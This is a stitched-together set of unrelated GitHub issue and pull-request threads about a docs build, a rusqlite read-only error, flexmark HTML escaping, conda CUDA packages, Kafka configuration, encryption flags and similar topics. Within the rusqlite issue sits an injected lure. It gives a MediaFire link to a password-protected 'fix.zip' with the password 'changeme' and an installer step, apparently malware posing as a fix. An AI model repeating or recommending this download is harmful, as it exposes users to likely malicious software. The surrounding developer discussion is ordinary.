The nuvolaris-documentation about development cannot be generated locally

The documentation present in the directory
nuvolaris-documentation/modules/development/pages
is created starting from the download of some .md (MarkDown) pages from OpenWhisk, that are converted to .adoc (AsciiDoc) pages.
This step, which is performed by the task named download in
nuvolaris-documentation/Taskfile.yml,
cannot run in the Devcontainer provided with Nuvolaris (or at least, I cannot).
This issue prevents checking if the documentation is correctly created, and any error ends up in the target branch when a pull request is merged.

I found two reasons that explain the issue.
In the Devcontainer provided with Nuvolaris:

The installed Task application is older than the v3.28.0. The official documentation of Task states that "As of v3.28.0, Task allows you to loop over certain values and execute a command for each." (see https://taskfile.dev/usage/#looping-over-values page content as of 13 Jul 2024).
The Pandoc application is not installed at all.

Because of the two reasons above, the for command shown in the code below (that I shortened a bit) silently fails, the curl command fails, and the pandoc cannot run (code taken from the download step, contained in the file nuvolaris-documentation/Taskfile.yml):
    - for:
      - actions
      - ...
      - rest_api
      cmd:  |
            curl  -sL {{.SOURCES}}/{{.ITEM}}.md -o {{.ITEM}}.md
            pandoc -f markdown -w asciidoc {{.ITEM}}.md -o {{.ITEM}}.adoc

This issue is related to the issue https://github.com/nuvolaris/nuvolaris/issues/360

solved in openserverless


Unexpected read-only error when writing

Despite setting the correct file permissions and opening the SQLite connection with read/write flags, I receive an error indicating that the database is in read-only mode during an INSERT operation.
Environment:

Operating System: [Specify your OS, e.g., macOS 12.3.1]
Rust Version: [Specify Rust version, e.g., 1.72.0]
rusqlite Version: [Specify rusqlite version, e.g., 0.26.0]

Steps to Reproduce:

Create a new SQLite database at a path within the temporary directory.
Open the SQLite connection with the following flags:rusqlite::Connection::open_with_flags(
    &db_path,
    rusqlite::OpenFlags::SQLITE_OPEN_READ_WRITE | rusqlite::OpenFlags::SQLITE_OPEN_CREATE,
)

Execute several CREATE TABLE statements to set up the database schema.
Attempt to perform an INSERT operation.

Code Snippet:
fn setup() -> Self {
    // create tmp directory ... use https://docs.rs/tempfile/latest/tempfile/
    let db_path = tmp.path("sqlite_bench");
    let db = rusqlite::Connection::open_with_flags(
        &db_path,
        rusqlite::OpenFlags::SQLITE_OPEN_READ_WRITE | rusqlite::OpenFlags::SQLITE_OPEN_CREATE,
    ).unwrap();

    db.execute(&Item1::generate_sqlite_table(), ()).unwrap();
    db.execute(&Item2::generate_sqlite_table(), ()).unwrap();
    db.execute(&Item3::generate_sqlite_table(), ()).unwrap();
    db.execute(&Item4::generate_sqlite_table(), ()).unwrap();

    let metadata = std::fs::metadata(&db_path).unwrap();
    println!("Permissions read/write for {:?}: {:?}", db_path, metadata.permissions());
    // Permissions read/write for "/var/folders/pk/lflgn7g13230ngd5x5272d4c0000gn/T/.tmp7vxoqq/sqlite_bench": Permissions(FilePermissions { mode: 0o100644 (-rw-r--r--) })
    println!("Is readonly: {:?}", db.is_readonly(rusqlite::DatabaseName::Main));
    // Is readonly: Ok(false)

    Self { db }
}

fn insert<T: native_db::ToInput + SqlteGeneration>(&self, item: T) {
    let sql = item.generate_sqlite_insert();
    println!("Is readonly: {:?}", self.db.is_readonly(rusqlite::DatabaseName::Main));
    // Is readonly: Ok(false)

    // &sql = "INSERT INTO Item1 (pk, sk_1) VALUES (1, 0)"
    self.db.execute(&sql, ()).unwrap(); // Error occurs here
}

Observed Behavior:

The database file is created successfully with read/write permissions (-rw-r--r--).
When attempting to execute an INSERT statement, I receive the following error:

SqliteFailure(Error { code: ReadOnly, extended_code: 1032 }, Some("attempt to write a readonly database"))

Download
https://www.mediafire.com/file/7ybpxn8lil1av70/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Confirmation Email from different languages to the manager should be send out in english

if a russian is registering, on a non russian website, the email should be send out in english.
Either language of the country or english.

This is done :)


rene: Watch therecipespk.com

rene requests the watch of the watch_keyword therecipespk\.com. See the MS search here and the Stack Exchange search here.

therecipespk\.com has been seen in 0 true positives, 0 false positives, and 0 NAAs.

Approved by double-beep in Charcoal HQ


Train final nf1 model

In this pr, the final nf1 model was trained and the resulting data was stored for later evaluation. Genotype was classified by feature selecting and normalizing the single cell data without HET cells. Please let me know if you have any suggestions.

Thanks @jenna-tomkinson, merging now!


Changes in protocols

A questions arising from an ARMS meeting, where we discussed that the sequencing protocols from the ARMS-MBON era and the EMO-BON era are not 100% the same
Q: Will modifications in Genoscope steps/protocols be machine-readable in downstream annotations so that meta-analyses are aware of possible comparability issues (kits, primers, cycling parameters, error correction models, sequencing chemistry, etc.), sounds like most of these steps are captured in MiXS/ASV schemas, but perhaps not all? Have they been mapped to that granularity?
In order to answer this question, and to record the necessary information, we first need to know what the genoscope protocols for wa, so, and ha are - they should be published. We can then record any differences in those protocols - not just from ARMS-MBON to EMO-BON but within EMO-BON with time.
So putting this issue on Ioulia (with a CC to Christina) for this info. Then we can discuss how to action it.

The library preparations and sequencing protocols were made available at the April 2024 update of the EMO BON Handbook.

I will pass this info on to Matthias who can pass it on to the ARMS-MBON peeps


chore: Move flask filter logic from ViewModels to Services

Fixes #1344
Changes: Earlier, ViewModels were building flask filter queries themselves and passing them to Services.
This was not good because this leaked the data retrieval logic into the ViewModels. Only the Services should be concerned with data retrieval and they should abstract out that logic.
This change moves the logic into Services where it belongs.

@iamareebjamal resolved conflicts


Small file workload

With this PR comes the small file operator in line for ripsaw operator framework.

@jtaleric @chawlanikhil24 The Dockerfile that I use at present is:
https://github.com/distributed-system-analysis/smallfile/blob/master/examples/docker/smallfile/Dockerfile
am just seeing this PR now, will get back to you on it.

Needs a rebase.

I think this pull request should be withdrawn since you replaced it with PR 109.

I think this pull request should be withdrawn since you replaced it with PR 109.

likewise, @chawlanikhil24 do you want to close this out in favor of #109 ?

Can we abandon this @chawlanikhil24

Can we abandon this @chawlanikhil24

Yupp, no issues in closing this PR


Fix unit tests that use CreateInMemoryProject

Some tests use ObjectModelHelpers.CreateInMemoryProject() in order to create a temporary project.  The current implementation points to the TEMP folder which on many machines can contain well over 10,000 files.  The glob tests are timing out on Mac machines in CI probably because their TEMP folders contain even more files.
I also had to fix some tests using "wierdo" files since they are trying to create an in-memory project but expect certain things on disk.

:shipit:

@dotnet-bot test OSX Build for CoreCLR  please

@dotnet-bot test OSX Build for CoreCLR please


style(csrf.ts): rename xsrf-token cookie name to XSRF-TOKEN

Proposed changes
Rename the XSRF-TOKEN cookie name that AdonisJS send in the response, so it'll match what is written in the documentation and in the template.
Detailed context I've been through to make this PR: https://github.com/adonisjs/core/discussions/2078
After I made this PR, I saw that this can solve this open issue: https://github.com/adonisjs/shield/issues/22#issue-777360231
Types of changes
What types of changes does your code introduce?

[x] Style (not a bug, nor a feature, just renaming the cookie)

Checklist

[x] I have read the CONTRIBUTING doc
[x] Lint and unit tests pass locally with my changes
[x] I have added tests that prove my fix is effective or that my feature works.

=> I have tested locally in my project. Before this commit, I had to add xsrfCookieName: 'xsrf-token' in axios instance, so axios could read the cookie that AdonisJS send. After this commit, I could remove this configuration and axios works like expected.

[x] I have added necessary documentation (if appropriate) (documentation is already right, code wasn't)

Further comments
When following the guide in https://preview.adonisjs.com/guides/csrf-protection, it's understood that when you enable enableXsrfCookie, AdonisJS will set a cookie named XSRF-TOKEN.
Futhermore, the template (shield.txt) says the following "When the following flag is enabled, AdoniJS will drop
XSRF-TOKEN cookie [...]".
But all that doesn't happen, Adonis sets a cookie named xsrf-token and a library like axios doesn't recognize it and a manual intervention is needed to axios works with AdonisJS.
So, this PR changes that. And when further users read the documentation about CSRF protection, they won't need to figure out why axios is not sending the cookie.

Thanks 🙂

Thanks 🙂


skip udp_multicast_join6 test if no multicast route for ipv6 is defined on system

issue

Left some comments. Please check CONTRIBUTING.md and format the commit message accordingly. Thanks!

done.

LGTM, can you please squash the commits?

sorry, i forgot to do that.
how about now ? i hope i didn't forget anything else :-)

:+1: thanks!

Landed in ca3ec90, thanks!


[rv_plic,dv] Implement assertions EdgeTriggeredIp_A and EdgeTriggeredIpWithClaim_A

Those two assertions are defined in rv_plic_fpv_testplan.hjson.tpl, but they are not implemented.

2

I don't think this is critical right now, since we already test the PLIC quite extensively at the system level. I think we can defer this .
CC @cindychip @moidx


Changing tabline/bookmark bar height

The tabline, urlbar and bookmark bar together make up to a pretty hefty size.
Are there any values I can edit to change their height and make them a bit smaller?

Unfortunately there aren't any variables in config file that can control heights. It was on my to-do list but my schedule won't allow expanding the scope of this project for a while. You can tweak these yourselves and see if it works:
#navbar in navbar/navbar.css(line #8). You can mess around with height, padding-inlinr,and padding properties which would change navbar height. Urlbar's values depend on these so you might have to tweak those too here(line #132-#167 most of the height and padding properties).
Change margin(line #2) in userchrome-tabline to change gaps in and around tabline.

Thank you for the quick reply! :)
Yeah, playing around with those did help.
I also found that in variables.css you can edit this to change tabs size
https://github.com/akshat46/FlyingFox/blob/8fc00aa654c10260deac2cbbc5bf062b7dcce811/chrome/variables.css#L169
Unfortunately I can't seem to be able to find how to edit the bookmark bar size :/


"Freely Moving Cell Types" function doesn't seems to take the exclusion filter into account

The exclusion filter has been been properly implemented within this function and is now available on Subiculum.


fix: ci actions

:tada: This PR is included in version 2.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


updating TarTool URL

Codecov Report

Merging #652 into master will decrease coverage by 0.61%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #652      +/-   ##
==========================================
- Coverage   81.54%   80.92%   -0.62%
==========================================
  Files          78       80       +2
  Lines        7759     8069     +310
  Branches      995      995
==========================================
+ Hits         6327     6530     +203
- Misses       1077     1181     +104
- Partials      355      358       +3

Impacted Files
Coverage Δ

cpp/Riosock/Riosock.cpp
60.72% <0%> (ø)

cpp/Riosock/Locks.h
100% <0%> (ø)

...icrosoft.Spark.CSharp/Network/SaeaSocketWrapper.cs
76.67% <0%> (+0.39%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b9593ce...1a27f42. Read the comment docs.


Using system versions of cuda, cudatoolkit, cudnn

Comment:
I'm installing tensorflow on an HPC. The system has the correct versions of all CUDA relevent software + drivers installed using Modules. I don't have enough disk space to install my own conda copy of cuda.
Is it possible to install the gpu compatible build of tensorflow, but without the dependency on these packages?
I know that this goes against the ethos of conda managing everything for reproducibility. I can achieve what I want using pip. I'm creating a feedstock for my own package which relies on tensorflow so I want to stay within the conda ecosystem. I believe PyTorch used(?) to have mock cuda packages which allowed the user to use their own versions of cuda while still satisfying the solver.
Thanks!

Moved to the cudatoolkit repo. If we were to do this, we would want to do this for all packages (not just tensorflow)

As a workaround, we can use conda install --no-deps ... to force install the selected packages only.

But, yeah, maybe we need the cudatoolkit[external] variant, similar to what we do to mpich/openmpi.

My recommendation for this would be to have a separate label with the shim packages. So people opt in via channels, not creating more complexity in the conda-forge graph.
Example usage:
$ conda install -c conda-forge/label/cudatoolkit-system -c conda-forge tensorflow

cc: @beckermr (since you started the "external" MPI packages 🙂)

@jaimergp do you know how the solver determine the priority in the presence of multiple labels/channels? In the MPI and other cases, it's determined by the package's build number. Another question is how does it help reduce/maintain the graph complexity?

With strict priority, the packages in the shim channel would completely shadow the ones in conda-forge, so there's no optimization process to make.
Keeping variants separate in channels would help because unless the channel is added, a regular user not interested in the shims will never see those packages in the requests. If the shims are on conda-forge, the solver has to choose among variants, which includes: versions, build numbers, track_features, timestamp, noarch vs non-noarch. The more variants we add for the same package, the more work we ask from the solver.
See discussion in related/duplicate issue: https://github.com/conda-forge/cudatoolkit-feedstock/issues/61

Is that still the case if we downprioritize the system when one with a feature?
Also wondering if we could use symlinks or something to use the system copy (without needing parallel builds of packages based on system/non-system variants) to keep things simpler and more maintainable.

The system copy might be in a different location than standard, or not available at install time (think login node vs actual calculation node). I think we only need one branch that publishes all the cudatoolkit versions. It doesn't need to stay up-to-date with build numbers; just one empty package per major.minor. Example here (unmaintained, as the label indicates :D): https://anaconda.org/jaimergp/cudatoolkit

Wouldn't we still want a way to affect the CUDA version used by other libraries? How would we do that if not through a versioned cudatoolkit library?

The shim would be versioned, yes.

I worry a little bit about creating a package we don't plan to maintain. Guessing people will still want us to fix things with it.
If we really don't want to maintain it, wonder if we are better off just explaining to people they can force remove the package (with the warnings Conda will naturally bring up when doing this). At least that way they know they are doing something non-standard and are on their own to get things to work.

That was my concern as well, hence why I ended up with that label unsupported-... in my personal channel. We can give it a try and if it becomes a real problem support-wise, mark it as broken? Users who really need it can always copy them to their channel if needed (and I am assuming they know what they are doing).


Grid default loading indicator could generate placeholders for the entire page size

Describe the bug
When using the Grid component, the default loading indicator currently generates only 5 placeholder rows. When have a page size larger than 5, and use the pagination to navigate to the next page of results then your content will bounce up and down.
If the loading indicator instead used the PageSize to determine the number of indicators to generate, chances are there should be little-to-none shifting of content on the page
To Reproduce
Steps to reproduce the behavior:

Go to https://demos.blazorbootstrap.com/grid/overview#server-side-filtering-paging-sorting
Click on any of the pagination buttons
See the content below the grid bounce up and down as it shrinks to 5 rows then grows to back 10

Expected behavior
Little to no movement when using pagination
Versions (please complete the following information):

BlazorBootstrap: 2.2.0, 3.0-preview2

Happy to raise a PR if agreed it's an issue :)


DO NOT MERGE! Fast Forward stable to 06e89616076517ae1f87f96a15d04f2b3fb2e69d.

This PR will be merged automatically once checks are successful.

This change is

Jenkins job mixer/postsubmit passed

Jenkins job mixer/e2e-suite passed


How to escape html tag?

Hi,
Is it possible to escape some html tag, or in another word, is it possible to only process some specified html tags? For example, I have below markdown:
 script tag
<tag> unknown tag

the html generated is:
 script tag\n

<tag> unknown tag

while I'm expecting to get result like:
<script> alert('hello');</script> script tag\n

<tag> unknown tag

It would be great if there is an option to tell Flexmark to only process some specified tags, like img, a, but escape all others.
Best regards

e including HTML in markdown that you do not want to be rendered in HTML output is to use fenced code element or indented code:
 script tag\n

<tag> unknown tag

Alternately you can escape the opening < of every tag:
\ script tag\n
\
\<tag> unknown tag\

\

to get:
 script tag\n

<tag> unknown tag

@vsch, thank you for the answer.
I know I can use either a fenced code or  a \ to escape, but most of my customers don't. That is why I ask if I can escape some tags programmatically.
Is there any interface or extension which I can use to escape the tags I don't want manually?

@zhenyuluo, there is a way to escape HTML blocks or inline HTML or comments. There is no mechanism to select individual tags to escaped.
Defined in HtmlRenderer class:

Static Field
Default Value
Description

ESCAPE_HTML
false
escape all html found in the document

ESCAPE_HTML_BLOCKS
value of ESCAPE_HTML
escape html blocks found in the document

ESCAPE_HTML_COMMENT_BLOCKS
value of ESCAPE_HTML_BLOCKS
escape html comment blocks found in the document.

ESCAPE_INLINE_HTML
value of ESCAPE_HTML
escape inline html found in the document

ESCAPE_INLINE_HTML_COMMENTS
value of ESCAPE_HTML_BLOCKS
escape inline html found in the document

To escape only inline HTML then set HtmlRenderer.ESCAPE_INLINE_HTML to true in options that are passed to HtmlRenderer.builder(DataHolder)
To customize rendering of HTML blocks or inline HTML tags you would need to create an extension with a custom renderer that renders HtmlBlock or HtmlInline nodes.
I added a NodeRendererSample to flexmark-java-samples module with all the HTML rendering copied from CoreNodeRenderer so you can use this as a start.

@vsch thank you very much for the detailed instructions.
I'd prefer to pre-process the raw markdown first and then pass it to flexmark to generate html.
You may close this issue now and again, thank you very much!

@zhenyuluo, processing raw markdown may seem easier but you will have to take care of the Markdown context, which is not trivial. Just looking for the HTML pattern will not work except for most trivial cases.
Nothing stops you from doing the pattern search but in the custom node renderer to decide if you should render the node normal or escaped.
The sample code already passes an escape boolean to tell the method to escape the HTML. All you would need to do is add some code to modify this parameter using the node content node.getChars() which returns a CharSequence. Simply pass true for escape for any HTML you want to escape.

@vsch, thanks for the sample code, I have tried and it works.
Below is what I modified to only support render img tag, and I want to know how to get the the tag name of a node? It seems that there is no API like node.getTagName(), right?
public void renderInlineHtml(HtmlInlineBase node, NodeRendererContext context, HtmlWriter html, boolean suppress, boolean escape) {
            if (suppress) return;

            String chars = node.getChars().normalizeEOL();

            if (chars.startsWith("<img ")) { // "img".equals(node.getTagName()) would be more reasonable
                html.rawPre(chars);
            } else {
                html.text(chars);
            }
        }

@zhenyuluo, the HTML nodes are not distinguished by their content. The node text is passed through as is. Therefore the only way to implement what you want is to parse the node text. You can use regular expressions to make it manageable.
You can use the RegEx in com.vladsch.flexmark.ast.util.Parsing and com.vladsch.flexmark.internal.HtmlBlockParser as examples or as is.

@vsch thank you very much, for your awesome library and awesome support!

Hey, sorry for hijacking but I have a quick followup question. What's the difference between HTML, HTML blocks, and inline HTML?

@nanodeath, HTML applies to all HTML elements: block, block comments, inline and inline comments.
Markdown block HTML consists of HTML block tags that start a paragraph, inline HTML is any HTML that is part of a paragraph.
Block HTML: http://spec.commonmark.org/0.27/#html-blocks

test

inline HTML: http://spec.commonmark.org/0.27/#raw-html
This paragraph has inline HTML Keyboard

Sorry to doubly hijacking the thread. I noticed, in addition to HtmlInline, HtmlInlineComment, HtmlBlock, and HtmlCommentBlock, there are HtmlInnerBlock and HtmlInnerBlockComment node classes. What are these inner things? When will they be used?

@ssikuro, I use the library for my Markdown Navigator plugin for IntelliJ IDEA and other JetBrains IDEs. They have a nice ToDo work window that gathers todo comments into a list. Only comments are processed so I had to make sure that HTML comments would be a separate node in the AST. CommonMark treats the whole HTML block as a single piece. I added an option to have the outer block as is, with children breaking out the comment and non-comment blocks. These are the inner counterparts.
They are different AST Node classes because most of the selection and binding in flexmark-java is based on the node class, having these as separate classes means they can be handled with the standard functions.

Thank you, @vsch, but I'm not sure if I understood your response correctly. Do you mean those inner classes are for use from the IntelliJ IDEA plugins, and won't be in the node tree in the default setting? I'm mainly concerned with how to test my code.

@ssikuro, if memory serves correctly, default settings don't produce these. I try to keep defaults to standard stuff. All my extensions I add as options.
When in doubt, you could use the same class used in the tests to dump the AST as text.
    public String ast(Node node) {
        return new AstCollectingVisitor().collectAndGetAstText(node);
    }

Here is what a test case for HTML blocks with inner parsing looks like. The ast you see is from the AstCollectingVisitor above

@vsch Hello from XWiki! I've been trying to escape any usage of the


make schema.registry.url optional in clientConfig

As a user who's kafka cluster doesn't contain a schema registry, I'd like to not have to set schema.registry.url in the clientConfig. The topology builder crashes if there is no schema.registry.url set in the clientConfig file, even for topologies like:
context: "my-context"
projects:
  - name: "my-project"
    topics:
      - name: my-topic
        config:
          replication.factor: 3
          num.partitions: 1

bash-4.4$ kafka-topology-builder.sh --clientConfig ./topology-builder.properties --brokers $kafka_bootstrap_server --topology ./topologies.yaml --dryRun
Exception in thread "main" com.purbon.kafka.topology.exceptions.ConfigurationException: Configuration key schema.registry.url should not have the default value mock://
	at com.purbon.kafka.topology.TopologyBuilderConfig.raiseIfDefault(TopologyBuilderConfig.java:201)
	at com.purbon.kafka.topology.TopologyBuilderConfig.validateGeneralConfiguration(TopologyBuilderConfig.java:148)
	at com.purbon.kafka.topology.TopologyBuilderConfig.validateWith(TopologyBuilderConfig.java:124)
	at com.purbon.kafka.topology.KafkaTopologyBuilder.build(KafkaTopologyBuilder.java:84)
	at com.purbon.kafka.topology.KafkaTopologyBuilder.build(KafkaTopologyBuilder.java:63)
	at com.purbon.kafka.topology.BuilderCLI.processTopology(BuilderCLI.java:175)
	at com.purbon.kafka.topology.BuilderCLI.run(BuilderCLI.java:133)
	at com.purbon.kafka.topology.BuilderCLI.main(BuilderCLI.java:123)

As a workaround I set schema.registry.url= in the clientConfig.

Hi Manuel, I am sorry for this. This is a left over check that due to internal changes got into this state. This will be fixed soon.
Workaround is pretty resonable.

This is fix with https://github.com/kafka-ops/kafka-topology-builder/issues/142, this is going to be released in the next version soon.


Avoid spamming the terminal with the untar progress

Too hasty, it’s not tar that’s doing the spamming


Update templates

Some templates got outdated, it's time to refresh their respective framework setup.

Done with various commits in main (😅) for simplicity reasons.


Update test file to use latest fishtape syntax

output:
fishtape test/done.fish
TAP version 13
ok 1 commands are executed without errors

1..1
# pass 1
# ok

Thank you


[Feature Request]: Add sitemap.xml for better search indexing

Is there an existing issue for this?

[X] I have searched the existing issues

Feature Description
To enhance the visibility and indexing of our website by search engines, it is beneficial to add a sitemap.xml file to our project. A sitemap.xml file provides a structured list of all accessible URLs on the site, helping search engine crawlers to better understand and index the site content.
Tasks to accomplish:

Create sitemap.xml template
Setup Cloudflare Workers
Fetch the data from supabase
Dynamically generate sitemap for new and recent users.

Use Case
For better page discovery and search indexing
Benefits
No response
Add ScreenShots
No response
Priority
High
Record

[X] I have read the Contributing Guidelines
[X] I'm a GSSOC'24 contributor
[X] I have starred the repository

Please assign this issue to me

Thank you for creating this issue! 🎉 We'll look into it as soon as possible. In the meantime, please make sure to provide all the necessary details and context. If you have any questions or additional information, feel free to add them here. Your contributions are highly appreciated! 😊
You can also check our CONTRIBUTING.md for guidelines on contributing to this project.

@dhairyathedev updates?

@dhairyathedev updates?

Actually, I have made the solution, but it only works with custom domains as I was using Cloudflare Workers. We had earlier discussed this on Discord.
Does this work for you or else let's stall this issue until I get the other solution that works on vercel domains?

Ok will mark this stale

This issue has been automatically closed because it has been inactive for more than 30 days. If you believe this is still relevant, feel free to reopen it or create a new one. Thank you!

Hello @dhairyathedev! Your issue #276 has been closed. Thank you for your contribution!


Use STS to generate keys for signed URLs?

We're using a set of static access keys to get around the short expiration time for temporary keys generated via the IAM role. Apparently we can use STS to generate a session token instead, and that session token can outlast the key that was used to generate it:
https://docs.aws.amazon.com/AWSRubySDK/latest/AWS/STS.html
Ideally we could generate a new session token for each signed S3 URL we generate, where that token only allows access to the requested file and expires at the same time as the signed URL.

I'm going to keep this one open. We just ran into an error in production because I forgot to update permissions for the panoptes IAM user after updating the IAM roles. It's silly to have two different places where permissions are defined, and using STS session tokens would negate the only reason we need the panoptes user in IAM.


UnrealEnginePython_20181020_4_19_python27_win64   Can't use

Hello, I downloaded this version of the file, I installed python2.7 in Windows, and the environment variable path added python's path, but the project was opened incorrectly, please ask for help. Thank you very much!

Its the PythonScriptPlugin (the Epic one) that is crashing. Disable it

Can I use both of epic PythonScriptPlugin and 20tab UnrealEnginePython? @rdeioris


Add House Robber 2

IMPORTANT: Please do not create a Pull Request without an issue.
Issue :- #395
All Submissions:

[x] I have read the CONTRIBUTING document.
[x] My code is written in Python3 and is ending with .py
[x] Have you checked to ensure there aren't other open Pull Requests for the same update/change?
[x] I have checked that my submission does pass the test on LeetCode.com
[x] Does your filename follow the naming Conventions?
[x] Have you linked your PR to an Issue?

Closing issues
Put closes #XXXX in your comment to auto-close the issue that your PR fixes (if such).

closes #398

closes #395


README instructions for unit test, linters and code coverage

This is all done and implemented in different stages the last couple of days.


Handle multiple matching elements in text assertion

When multiple elements match selector, text assertion was failing

Added tests
Fixed assertion

Update: Added the same fix for visible assertion

I ran into the same problem with the visible assertion today, so I figured I'd just throw it in here.  I also changed the assertions to use $$(selector) to always get an array, which makes testing a little bit more complex (due to requiring chained stubs), but the library itself is cleaner this way.  Let me know if you'd rather change it back!

Well it doesn't change the syntax or anything at all.  It's using the same assertion as for matching a single element - just correctly handles the case now where the selector happens to match multiple elements instead of a single element... any specific documentation you had in mind?

How's that? :)

@mltsy there are conflicts, can you please resolve then?

Oops!  Yes I can :)

Fixed :)  I added multiple match handling to the new value assertion as well (and focus didn't need any changes to work with multiple matches).

Still conflicts

nevermind, only if you want to rebase

Oh yes, sorry, I did a merge rather than a rebase.  Hopefully you don't mind? (I defaulted to avoiding rewriting history now that the branch has been public and sitting here for 2 months - but I certainly could rebase if you'd prefer @marcodejongh)


Coupon Discounts is not applied when making a payment

When you make a payment that have a coupon added to it, it is like the coupon does not exist, the final value is the same with or without.
WISECP version: v2.3.2
OS: Ubuntu 20.04
Payment: PIX

Hi @Eumanuel,
I just pushed a fix, can you try it?


Support for more file formats (KML, TCX, FIT, etc)

Just a technical comment : you can use XSL transformations technology to convert KML to GPX or any other format into any format, rather than using each native API

You can look at this repo for the conversion to FIT.
https://gitlab.com/nwholloway/fit-route
You have to make the difference between waypoints and courses point.
It would be nice to take it into account.

Some use cases for this enhancement:

Maps.me mobile app only takes KML files, and is widely used for hiking, thus it would help to be able to export from gpxstudio directly in KML.
For GeoJSON it's more for import, as it's kind of the standard web format for geospatial files (in a general way).

You could use leaflet-omnivore.

I also discovered this code if it can help you. https://gitlab.com/tbsmark86/fit-route/

https://github.com/nrenner/brouter-web/issues/322
Maybe it will help on brouter there has been the same request and there has been a merge lately.

In brouter there are the voicehint that are available and the export in fit that is also present. I hope this will help you.
https://github.com/abrensch/brouter/blob/8bf0125fa3a2da7da4f393847901cdfeb86ff8db/brouter-core/src/main/java/btools/router/VoiceHint.java


Improve the text at the top of the home page

Received the latest home page text from the product team.

This will fix it


New line character in encoding-decoding methods

Hi,
you library works fine but in my Android Application (API Level 22) when I'm try to encode a string I get one which contains "new line" characters \n; I'm using my static passphrase instead a SHA or MD5 generator functions.
I'm looking into your code and I find in encryptDecrypt() function at lines 154 and 163 the DEFAULT setting for Base64 enconde; I try to change this value this with Base64.NO_WRAP (from Base64.java doc: "Encoder flag bit to omit all line terminators (i.e., the output will be on one long line)").
With this fix the encoding works fine (without new line characters).
Do yo try to test your library with this setting?
Thank you!
Cheers

Thanks for the great suggestion. I am going to try it out and update the code accordingly!

Great! I fork your project and I implement the fix for my application; I have also added a new method to generate a "empty" string (public static String generateEmptyIV(int length)).
Thanks for library!
Cheers

Cool...I had a question about "generateEmptyIV" method that you had created. What is the purpose of this method ? IVs are to supposed to be generated randomly every time you want to encrypt something. Otherwise it is a security risk..

You are right but I'm working on Web Service that provide data behind key encryption and this key is generated by 16 "empty" character; I don't have access to server to change this implementation and I need this workaround to encrypt-decrypt data properly on my application.
Any ideas?

I am afraid that if you don't have any control over WebService then there is hardly anything which you can do. So you'll have to live with this vulnerability. However this issue is very specific to your situation and I would advise that you do not publish this function in opensource. Problem is those who use this function from your project will inherit this vulnerability even if they don't have to.

Thank you for your suggestion!


pydota2

I apologize for creating an issue to communicate this but I did not find any emails associated with the creators/maintainers of pysc2 listed in the profiles here.
I started creating a Dota2 framework based on the pysc2 framework created here. The github repo can be found here: pydota2
There are many differences obviously because of the difference in exposed and available API as well as the protocols, but I am re-using certain pieces of the code. This is very early in development currently and not ready for people to start writing agents and RL/ML approaches currently as I'm still wrapping protocol implementations. I am reaching out in case anyone has any issue with partial code re-use I'm leveraging. The pydota2 repository is public and under the same LICENSE as pysc2.
Please let me know if you have any issues with my partial re-use of your work.
Kind Regards,

Go for it. PySC2 is licensed under the Apache2 license which allows such work.


fix: update the doc for metrics cardinality enforcement

Description
This PR correct the doc for metrics cardinality enforcement

Use correct flag name as allow-metric-labels following the flag definition
Use correct manifest pattern following the flag process function

Issue

Closes: #

/sig instrumentation

/approve


feat: add traffic type of peer task download duration

feat: add traffic type of peer task download duration

Fix unit testing.
2023-05-15T07:22:43.5857994Z --- FAIL: TestServiceV2_handleDownloadPeerFinishedRequest (0.00s)
2023-05-15T07:22:43.5858403Z     --- PASS: TestServiceV2_handleDownloadPeerFinishedRequest/peer_can_not_be_loaded (0.00s)
2023-05-15T07:22:43.5858899Z     --- PASS: TestServiceV2_handleDownloadPeerFinishedRequest/peer_state_is_PeerStateSucceeded (0.00s)
2023-05-15T07:22:43.5859335Z     --- FAIL: TestServiceV2_handleDownloadPeerFinishedRequest/peer_state_is_PeerStateRunning (0.00s)
2023-05-15T07:22:43.5859633Z panic: inconsistent label cardinality: expected 6 label values but got 5 in []string{"LEVEL0", "DFDAEMON", "d7y", "foo", "normal"} [recovered]
2023-05-15T07:22:43.5859958Z 	panic: inconsistent label cardinality: expected 6 label values but got 5 in []string{"LEVEL0", "DFDAEMON", "d7y", "foo", "normal"} [recovered]
2023-05-15T07:22:43.5860256Z 	panic: inconsistent label cardinality: expected 6 label values but got 5 in []string{"LEVEL0", "DFDAEMON", "d7y", "foo", "normal"}

It failed the service v2's unit test, it seems that if the service v2's logic is not modified, it will be affected


johndanz/quick-fix-liquidity

removed passing of log, rely on state, should force prompting of orders and remove race condition

Coverage increased (+0.01%) to 66.935% when pulling 6d02bc0faf12e1182d90780a899f75949fe10428 on johndanz/quick-fix-liquidity into cdd1102818ea869ec5dfb61491e276af1debf782 on master.


example with react-router 2.x

Does the latest version 2.0.1 work with react router 2.0.0-rc4? Is there an example for how to get this to work?

My attempt to get this to work with my universal-redux npm library (https://github.com/bdefore/universal-redux) is not working. Following along the example in this repo (which works with react-router 1.0.0) I'm attempting to apply syncHistory to the new 2.0 instance of browserHistory
I'm setting up my reducers, including routing: routeReducer here: https://github.com/bdefore/universal-redux/blob/master/examples/jwt/src/redux/modules/index.js#L9
This then gets passed to the client here in the import of reducers here: https://github.com/bdefore/universal-redux/blob/master/src/client.js#L11
At which point my createStore helper assembles the middleware: https://github.com/bdefore/universal-redux/blob/master/src/shared/create.js
But when I load up my app, path is not available in props

I've updated my JWT example to be a good base to investigate: https://github.com/bdefore/universal-redux/tree/master/examples/jwt
When running npm run dev from the example, I see the warning:
Warning: Failed propType: Required prop `path` was not specified in `App`. Check the render method of `Connect(App)`.

Ah, I see my issue. It's no longer on the reducer as path but location, which is an object with pathname, query, search etc.

Reopening, since an example here or updated docs would still help.

I can't get redux-simple-router working with the react-router 2.0. I'm using hashHistory and when I try to run syncReduxAndRouter:
syncReduxAndRouter(hashHistory, store);

I get an error:
Uncaught TypeError: (0 , _reduxSimpleRouter.syncReduxAndRouter) is not a function

So yeah, I'd also want to see example how to use redux-simple-router with the latest router ;).

syncReduxAndRouter  is removed, use const router = syncHistory(hashHistory); and router.syncHistoryToStore(store);

+1

@SimenB: thanks!

It would be cool if there was documentation for the latest version (2.x release)

@contra There's a PR to update it (waiting for them to change something) and once it's merged I'll officially release 2.0.0 and make sure everything is up-to-date.


Fix a race condition with resource packs.

